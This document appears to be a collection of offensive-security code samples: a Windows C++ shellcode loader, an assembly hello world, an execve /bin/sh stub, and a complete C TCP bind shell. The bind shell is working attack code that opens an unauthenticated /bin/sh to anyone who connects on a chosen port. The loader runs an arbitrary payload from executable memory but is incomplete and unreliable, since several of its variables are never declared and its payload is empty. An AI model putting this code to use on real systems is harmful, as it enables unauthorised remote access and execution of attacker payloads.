Example of C++ Shellcode Loader

```
#include <windows.h>
void main() {
        void* exec;

        unsigned char payload[] = "";
        unsigned int payload_len = 205;

        exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);

        RtlMoveMemory(exec, payload, payload_len);

        rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ,
&oldprotect);

        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);

        WaitForSingleObject(th, -1);
}
```

Hello World in Assembly

```
section .text

global _start          ; must be declared for linker (ld)

_start:            ; tells linker entry point
        mov edx, len       ; message length
        mov ecx, msg       ; message to write
        mov ebx, 1         ; file descriptor (stdout)
        mov eax, 4         ; system call number (sys_write)
        int 0x80           ; call kernel
        mov eax, 1         ; system call number (sys_exit)
        int 0x80           ; call kernel

section .data
        msg db 'Hello, world!', 0xa ;string to be printed
        len equ $ - msg     ; length of the string
```

execve Shellcode

```c
/**
Compile with:
gcc -o execve_usage execve_usage.c
**/
#include <stdio.h>

int main()
{
        char *args[2];
        args[0] = "/bin/sh";
        args[1] = NULL;
        execve("/bin/sh", args, NULL);
        return 0;
}
```

Example BindShell in C

```c
/*
 * basic TCP bindshell
 *
 * https://github.com/deadbits/shells

 * Compile and Run:
 *      gcc -o BindShell BindShell.c
 *      ./BindShell 10000
 *
 * Connect to Shell:
 *      nc 127.0.0.1 10000
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
//#include <sys/types.h>

#define SHELL "/bin/sh"   // shell to spawn when connection is received

int main(int argc, char *argv[])
{
```

```
  char msg[512];
  int srv_sockfd, new_sockfd;
  socklen_t new_addrlen;
  struct sockaddr_in srv_addr, new_addr;

  if(argc != 2)
  {
    printf("\nusage: ./tcpbind <listen port>\n");
    return -1;
  }

  if(fork() == 0)
  {
    if((srv_sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)
    {
      perror("[error] socket() failed!");
      return -1;
    }

    srv_addr.sin_family = PF_INET;
    srv_addr.sin_port = htons(atoi(argv[1]));
    srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    if(bind(srv_sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) < 0)
    {
      perror("[error] bind() failed!");
      return -1;
    }

    if(listen(srv_sockfd, 1) < 0)
    {
      perror("[error] listen() failed!");
      return -1;
    }

    for(;;)
    {
      new_addrlen = sizeof(new_addr);
      new_sockfd = accept(srv_sockfd, (struct sockaddr *)&new_addr,
&new_addrlen);
      if(new_sockfd < 0)
      {
        perror("[error] accept() failed!");
        return -1;
      }

      if(fork() == 0)
```

```
      {
        close(srv_sockfd);
        write(new_sockfd, msg, strlen(msg));

        dup2(new_sockfd, 2);
        dup2(new_sockfd, 1);
        dup2(new_sockfd, 0);

        execve(SHELL, NULL, NULL);
        return 0;
      }
      else
        close(new_sockfd);
    }

  }
  return 0;
}
```